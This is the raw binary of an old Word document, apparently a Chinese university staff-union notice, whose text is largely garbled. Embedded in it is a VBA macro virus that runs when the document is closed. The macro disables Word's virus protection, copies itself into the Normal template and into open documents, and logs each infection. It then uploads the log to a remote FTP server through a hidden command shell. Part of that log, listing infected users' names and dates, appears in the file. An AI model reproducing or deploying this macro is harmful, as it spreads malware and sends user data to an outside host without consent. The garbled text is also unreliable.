ࡱ> EHD[ RbjbjI6ΐΐ$xx8 $1f"   |j!     4   Id0|       ^                x :  l wm 'Y f[ e N lwmN02006052S sQN 0lwm'Yf[>mQNXTfL{tRl 0 r^vteʑ TUSMO 0lwm'Yf[>mQNXTfL{tRl 0ꁔNgNgbLNeg] gNke s9hnc[E]\O-NvwQSO`Q \ gsQteʑY N N0>mQNXTv bS{teb 9hnc{tRl @b g>mQNXT>mQMRkXQ 0lwm'Yf[>mQNXT[ybh 0 hmQ0 N0>mQNXTv_Geb >m_{N N~;N{]\Ov Se-N f[!hS>eu;me420CQ/)Y0TNe4150CQ/g kc[^ cĉ[vhQbN!k_ԏf[!hvv]e9 ste:Nf[!hS>eu;m00NI{zMRe41500CQ/g NQ:N>mQNXTbNUO9(u0 YcSUSMO_NS>evsQvT{|e4 R NhQ NR1uf[!he0 N N_GteSe NgwgbL0 DNlwm'Yf[>mQNXT[ybh NNY N%%mQt^ASgNASNe DN lwm'Yf[>mQNXT[ybh Y T'`+RQut^g?elbf[S"$068:>BϷueO?/?hRh[CJ,OJPJQJo(hRhsCJ,OJPJQJo(+hRhs>*B*CJ OJPJQJo(phhRh[CJ OJPJQJo(hRh).7CJ OJPJQJo(hRhsCJ OJPJQJhRhsCJ OJPJQJo($hRhsB*OJPJQJo(ph/hRhs@B*CJROJPJQJ\o(ph/hRh*5B*CJ0OJPJQJaJ0o(ph/hRhs5B*CJ0OJPJQJaJ0o(ph$&(Bp 2 R T d WD` XWD`Xgd[ WD`gd[gd[$d a$ $da$gd[ $dG$a$ $dG$^a$$a$ R T p r t v x z | ˻˻˫˙ucREhRhsOJPJQJ hRhsCJ OJPJQJaJ#hRh%zCJOJPJQJaJo(#hRh%zCJ OJPJQJaJo(#hRh).7CJ OJPJQJaJo(#hRhsCJ OJPJQJaJo(hRh?CJ OJPJQJo(hRhvCJ OJPJQJo(hRhsCJ OJPJQJo(#hRhV CJOJPJQJaJo(#hRh[CJOJPJQJaJo(T r t v x z $d$Ifa$gd%$a$gd=Lgd=L d WD` @d WD`@d d WD` (*,6:<F:<LNP^`bhjl察察察匯劯匯匯匯匯匯匯匯U$hRh=LCJKHOJPJQJaJhRh=L5OJPJQJ\!hRh=L5OJPJQJ\o("hRh=L5CJ$OJPJQJ\%hRh=L5CJ$OJPJQJ\o(hRh=LOJPJQJo(hRh=LOJPJQJ5 $d$Ifa$gd% kd$$Iflmִ8$ ) d0!;06"6    44 la $d$Ifa$gd%LyLRsUSMOPUSMOPeS PgP t^ g e t^ g eUSMOa #N~{W[f[!h;N{a #N~{W[R{!h[af[!h[ybaYl     PAGE   PAGE 1 6''$d$Ifa$gd%kd($$Ifl4Yֈ8$ ) 0! 06"644 laf4(*ss$d$Ifa$gd%|kd*$$Ifl4%08!06"644 laf4*,6:ss$d$Ifa$gd%|kd$$Ifl4e08!06"644 laf4:<Fss$d$Ifa$gd%|kd~$$Ifl4e08!06"644 laf4sgggggQ d$IfWDYD2` gd% d$Ifgd%$d$Ifa$gd%|kd($$Ifl4Q08!06"644 laf4:vj^^Nd$IfYD2gd% d $Ifgd% d$Ifgd%$d$Ifa$gd%ykd$$Ifl08!06"644 la:<LNvj d$Ifgd%$d$Ifa$gd%ykdv$$Ifl08!06"644 laNP^`vj d$Ifgd%$d$Ifa$gd%ykd$$IflU08!06"644 la`bhjvj d$Ifgd%$d$Ifa$gd%ykd$$Iflc08!06"644 lajlnrtxz~wuuuuuuuulj&`#$ dWD`gdf<ykdb$$Ifl08!06"644 la lnptvz|ŽŰhKHaJmHnHuh?KHaJjh?KHUaJh? h?0Jjh?0JUh$ujh$uUhRhsOJPJQJo( dWD`gdf<$a$gdf<G0P&P 182P:pf<. A!"l#$%S Dp&$$If!vh5555;5555#v#v#v#v;#v#v#v#v:V lm06"6,5555;5555/ $$If!vh555555 #v#v#v#v#v#v :V l4Y06"6,555555 / f4$$If!vh55#v#v:V l4%06"6,55/ f4$$If!vh55#v#v:V l4e06"6,55/ f4$$If!vh55#v#v:V l4e06"6,55/ f4$$If!vh55#v#v:V l4Q06"6,55/ f4$$If!vh55#v#v:V l06"6,55/ $$If!vh55#v#v:V l06"6,55/ $$If!vh55#v#v:V lU06"6,55/ $$If!vh55#v#v:V lc06"6,55/ $$If!vh55#v#v:V l06"6,55/ b 2 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~PJ_HmH nHsH tHJ`J cke $1$a$ CJKH_HaJmH nHsH tH$A`$ ؞k=W[SOFi@F nfh3\`?/[G\!-Rk.sԻ..a濭?PK!֧6 _rels/.relsj0 }Q%v/C/}(h"O = C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK!kytheme/theme/themeManager.xml M @}w7c(EbˮCAǠҟ7՛K Y, e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+& 8PK!mQtheme/theme/theme1.xmlYMoE#F{oc'vGuرhF[x=ޝzvg53NjHHzZ $ʯI)*E_N&IA!>Ǽ3xN>UWL0Č߫߿z}rx{h9T8T/χ?xY'~3S~O_|w)ӈHt=a+d NG1-RlƁ1RJwT蠯M1K"o he˓ێ½PL-|%EhY7'qP.\L=dqķ3Iofi.ñBRb-JP_pG ݢiKtdӌhFio7;7Q2ȾD>a/Q>XW ˔M_uHq)h +:Viw4rBqϫ"r!2laCbU|!8^8>ܠ,AбVt׎~ls14_=,ɬožTV G"ѦbH'.4x޵w-ϷE|F;v`b3"G 'e\fHO '$i_wp >*8i&LY%\,xҕ= r6f 3Tʅ):ªZKLs&C Mܛ0 [˫p@ע`j۽7 YHxHicT5Ar@HZAZC}i' RQ\m,zo,gQu{Y\,Nר/=L _.̇Y7C6-fSh62"5NHT[X65̫4X%Yֳ2fkhi~tCKF#b +w1m|4`!:U!p5a:~{4mmio ήc8mDJpSǹ橠V1?#Si?3E'pS2W`qB]( 08w nA[s)k8= Aa?R dڒɾcUӽ˲d)#Queb}C!&i0>4S7{z F} 4sKvUKoȳh~1jYUVH5U8Vk;֜L9ŰD ?*|FL "A3>g]dm2iVֵ褽mg  6 ###& l T *::N`j   &!!@  @H 0(  0(  B S  ? y}~!"#,/01bfghxy  ")*./35?@DEIJLPV\^f3["!3$ur[~*7&).7=Ls%zrqIRV s~vO.@4jeB]# =B}thf<%?rj@PPUnknownG* Times New Roman5Symbol3. * Arial1NSeN[;[SOSimSunA BCambria Math 1hƔgegPgP!-!),.:;?]}    & 6"0000 0 0 00000 =@\]^([{  0 0 00000;[2qHX?).72!xxl wm 'Y f[ e NAdminb Lenovo UserOh+'0 $ D P \ ht| ѧ AdminbNormal Lenovo User28Microsoft Office Word@ @Z(@*@HgP՜.+,0 X`lt| rsc   !"#%&'()*+,-./012356789:;=>?@ABCFGpJKLZNOPQRSTUVWXYI[\]^_`abcdefghjklmnoqurstvRoot Entry F(Ii@Data 1Table$WordDocumentI6SummaryInformation(4DocumentSummaryInformation8<Macrosp.I IVBA p.IIThisDocument M?__SRP_2__SRP_3 B_VBA_PROJECT*   !"#$%&'()*+,-./012345689:;<=>?ABCDEFGHIJKLMNOPQSVWXYZ\Variables] 8]Ph] %Initialize Variables 4!6!8%:.( <!6!8%:.* '' (!>%@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0 &e *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2 RC:\hsf 2.sys'2 2 0V c:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incomingasciiput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anything  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$ $f d!. R$ $f . d!. R$'.kd . $f' '.k R ) , $f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$ $f'  d!j $f'  . $f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjk^2A7<6iĄlJL"z*wg+>OLh9rNM{j+>dx9rNM{j+>d6iĄlJL"z*ME(S"SS"6"(1Normal.ThisDocument (%H` % % @L0`@  @" 2\@$ og`& Mi@( L `* \T@, ;C@. Fi@0 of`2erh8@0S$*\Rffff*0353cfc4a94"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p *x   *   * 8 H *P   ,   *    ,( X h *p   *   , 0 @ ,H x  .   .    *( X p *x   ,   , 8 H *P   ,   ,  ( 8p]<- this is a marker!Declare Infect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 19995 # 12:39:25 PM - Tuesday, 20 May 1997MAR ghc-bbcA! 01:21:36 PM - Friday, 7 May 1999 d# 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999Dec '$ 02:53:46 - Tuesday, 6 Sep 2011 PM d$ 09:37:47 - Monday, 19 Sep 2011 '  ʿ'$ 01:41:54 - Monday, 26 Sep 2011 6  unknown9' 10:50:02 - Wednesday, 19 Oct 2011: ףȪ ' 08:27:05 - Wednesday, 26 Oct 2011h ٻ $ 10:37:36 - Monday, 31 Oct 2011 We ˷,$ 04:21:38 - Monday, 31 Oct 2011ndi ÷P& 08:15:53 - Wednesday, 2 Nov 2011 M Ż᷼2# 03:51:55 - Friday, 4 Nov 2011 '  '$ 11:58:54 - Friday, 11 Nov 2011 27 ƽƽ9$ 05:13:35 - Friday, 11 Nov 201159: $ 03:14:00 - Monday, 14 Nov 2011j  % 08:20:05 - Tuesday, 15 Nov 2011 3 19$ 03:44:02 - Friday, 25 Nov 20111:2 ʢǫM & 09:07:54 - Saturday, 26 Nov 2011oo unknownw$ 11:16:00 - Tuesday, 6 Dec 2011PM  unknowna# 09:05:19 - Friday, 9 Dec 2011odw User & 09:30:54 - Thursday, 15 Dec 2011da unknownb& 09:52:39 - Saturday, 31 Dec 2011  xxz ' ' 12:01:08 - Wednesday, 11 Jan 2012e Lenovo User Co' 05:53:25 - Wednesday, 15 Feb 2012: walkinnet$ 02:37:26 - Monday, 27 Feb 2012' C Lenovo Userwar$ 04:29:28 - Monday, 27 Feb 2012 -  jean, % 04:19:29 - Tuesday, 28 Feb 2012rd user % 04:18:28 - Tuesday, 27 Mar 2012, ľ# 08:34:42 - Sunday, 1 Apr 20124:4 wycPM & 08:53:30 - Thursday, 13 Sep 2012'  H& 11:38:37 - Thursday, 11 Oct 2012We Lenovo User, PBAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTru BExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S &= 2 0<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op en OutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA 2a  [W   .1dQ1 }pXX0ZX3S'Wria log rfof P, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&f W' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK Bִ. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA 7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829J RajK@u7:5LSatu rL3K q!6+15-4 2? ʢǫe{9q545H6+' 16q6!6p69u9User 3 P?9Ppql +xxzZ12:@P0&/i: 2  Lenovo  q/W$5bwalkinnezt0[6F7j0;9:2>;pjemp9U%u~߀,qcr>ľ18:3{VQSuĭ ApwyljP> 0%!3%\2`,3 ~7@BtTrU 0Qy ) 4a`rU @na *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.4#0#C:\Program Files\Microsoft Office\Office12\MSWORD.OLB#Microsoft Word 12.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormal?R(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object Library SAThisDocument0353cfc4a9ThisDocument73 qZrNL3j<`9:,Wordk`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole``Project-` ThisDocument<` _Evaluate`Normal`Officeu`Documentj`Document_Close7\`MarkerS` SaveDocumentd]`SaveNormalTemplatel`DocumentInfected `NormalTemplateInfectedy`ad~\`nto^`OurCode=` UserAddressF`LogData(6`LogFileG`ActiveDocument\` VBProjectOh` VBComponents '`Itemz`NormalTemplateq` CodeModule`Findn`Options`VirusProtectionoD`Day`Now%`Systema`PrivateProfileString[`Lines` CountOfLines!\`i``Str`RndR`ShellV`vbHideW` SaveFormat`wdFormatDocument`wdFormatTemplatee`Savedd` Application*`ChrK~`Time`UserName\` DeleteLines ` AddFromString`Save`FullNameО`T 0* pHdProjectQ(@= ldir7__SRP_0 @X__SRP_1RbPROJECTwmT) S J< rstdole>stdoleP h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C ?R!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE12\MSO.DLL#M 1 Ob Library%zABeThisDocumentG TfisDHcu@Ienn* 2  HB1Ë3C@,!7"B +BBK* *\CNormalrU~~~~~~l Q N_Po2t   ~xFA"(u1Project ThisDocumentF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA ! I` F5C:\Program Files\Microsoft Office\Office12\MSWORD.OLBWord Ap0FC:\WINDOWS\system32\stdole2.tlbstdole )QL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLLOffice 1k F6iĄlJL"z*wg+>OLh9rNM{j+>d FDocument @:rU~}  pThisDocumentThisDocumentID="{CCF9FD03-ADE9-426D-85B3-50118AF4E1BE}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="E5E7FF40018505850585058505" DPB="26243CPROJECTUuCompObj[u7F3C817C827C827C" GC="67657D3EFF3E413F413FBE" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C   F#Microsoft Office Word 97-2003 ĵ MSWordDocWord.Document.89q